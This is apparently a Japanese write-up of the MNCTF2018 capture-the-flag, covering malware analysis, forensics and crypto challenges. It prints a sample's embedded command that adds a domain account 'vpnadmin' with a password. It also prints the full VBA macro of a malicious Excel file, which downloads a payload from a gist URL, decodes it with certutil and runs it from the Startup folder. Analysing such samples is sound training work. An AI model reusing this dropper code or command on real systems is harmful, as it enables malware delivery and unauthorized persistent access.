このイベントは2018/7/12 10:00(JST)~2018/7/12 11:30(JST)に
カンファレンスの一つとして開催されました。
個人戦の大会で、最初の確認の問題以外は100点が基準で
解いた人が多くなると点数が下がっていくというルール。
結果は561点で72名中4位という好成績でした。
解けた問題をWriteupとして書いておきます。
練習問題 (MISC 1)
フラグは問題に書かれていた。
MNCTF2018
新人奮闘I (マルウェア解析 20)
添付のexeファイルのsha256を求める問題。
$ sha256sum AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 AD_OptimizationTool.exe
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29
新人奮闘II (マルウェア解析 60)
先ほどのexeの表層解析を行う。ハッシュやコンパイル日時、インポートしている関数を正しくレポートすると、フラグが表示されるようだ。
ハッシュは先ほどの答えのほかにmd5やsha1が必要。あとはファイルサイズを求める。
$ md5sum AD_OptimizationTool.exe 541427a9dbe43b10c05b856cdcdc5ba6 AD_OptimizationTool.exe $ sha1sum AD_OptimizationTool.exe e0fa838e0f191f97c5dac7a831af60d750432017 AD_OptimizationTool.exe $ ls -l AD_OptimizationTool.exe -rwxrwxrwx 1 root root 2048 7月 11 19:46 AD_OptimizationTool.exe
コンパイル日時とインポート関数はPE viewで確認。IMAGE_NT_HEADERSのIMAGE_FILE_HEADERのTime Date Stampを見ると、以下のようになっている。
2018/07/11 10:46:08 UTC
Section .importのIMPORT Name Tableを見ると、関数一覧が見れる。
kernel32.dll - ExitProcess - Sleep shell32.dll - ShellExecuteA user32.dll - MessageBoxA
d56d9a6036bd18ee98878eb74ae8d663
新人奮闘III (マルウェア解析 40)
先ほどのexeが実行しているコマンドを答える問題。テキストエディタでexeを開いてみると、コマンドらしきものが書かれている部分がある。
AD Optimizer Optimization successfuly finished.\nThe speed increased 176%. cmd /c net user /add /domain vpnadmin P@ssw0rD1! open
cmd /c net user /add /domain vpnadmin P@ssw0rD1!
新人奮闘IV (フォレンジック 40)
前の問題で使っているコマンドのユーザ名にvpnadminを指定している。このユーザ名で検索する。
2018/07/13 15:01,vpnadmin,27.117.128.1
2018/07/13 15:01
標的攻撃I (マルウェア解析 60)
添付ファイルはExcelだが、マクロが組まれている。Excelマクロのコードを見る。
Private Declare Sub Sleep Lib "kernel32" (ByVal ms As Long) Private Sub Workbook_Open() us = Application.UserName For Each C In ActiveSheet.Range("C6:C11") If us = C.Value Then Set objShell = CreateObject("WScript.Shell") startupFolder = objShell.SpecialFolders("Startup") Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP") Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert", False xHttp.Send With bStrm .Type = 1 '//binary .Open .write xHttp.responseBody .savetofile startupFolder & "\cert.pem", 2 '//overwrite End With Sleep (10000) Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe""" Sleep (5000) Shell startupFolder & "\cert.exe" End If Next End Sub
ExcelシートのC6:C11の値とユーザ名が一致した場合に動作することがわかる。答えはその中に1つ答えればよい。
Yasu Kobayashi
標的攻撃II (マルウェア解析 40)
HTTPSの通信が発生するので、そのURLを答える問題。前の問題で確認したコードからURLはわかる。
https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert
標的型攻撃III (マルウェア解析 80)
2次検体が生成されるので、そのsha256を求める問題。
先ほどのURLにアクセスし、そのデータをcert.pemとして保存する。この状態で次のコマンドを実行し、2次検体を生成する。
>certutil -decode cert.pem cert.exe 入力長 = 98458 出力長 = 73802 CertUtil: -decode コマンドは正常に完了しました。
$ sha256sum cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382 cert.exe
c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382
標的攻撃IV (ネットワーク 80)
2次検体を実行するとHTTPSの通信が発生するので、そのURLを答える問題。
実行すると、一瞬コマンドプロンプトが表示されたので、画面キャプチャを取る。
PowerShellでアクセスしているURLがわかった。
https://shinobotps1.com/download_get.php
盗難情報 (暗号 100)
XOR(シングルバイトキー)→ Base64 → ROT13で暗号化されている。XOR暗号部分はブルートフォースで試すと、あるキーでPNGファイルのフォーマットになることがわかる。最終的なコードは次のようになり、実行するとPNG形式の画像ファイルに復号される。
with open('encrypted.bin', 'rb') as f: data = f.read() data = data.decode('rot13') data = data.decode('base64') key = ord(data[0]) ^ 0x89 flag = '' for i in range(len(data)): flag += chr(key ^ ord(data[i])) with open('flag.png', 'wb') as f: f.write(flag)
NEJI_190_3GM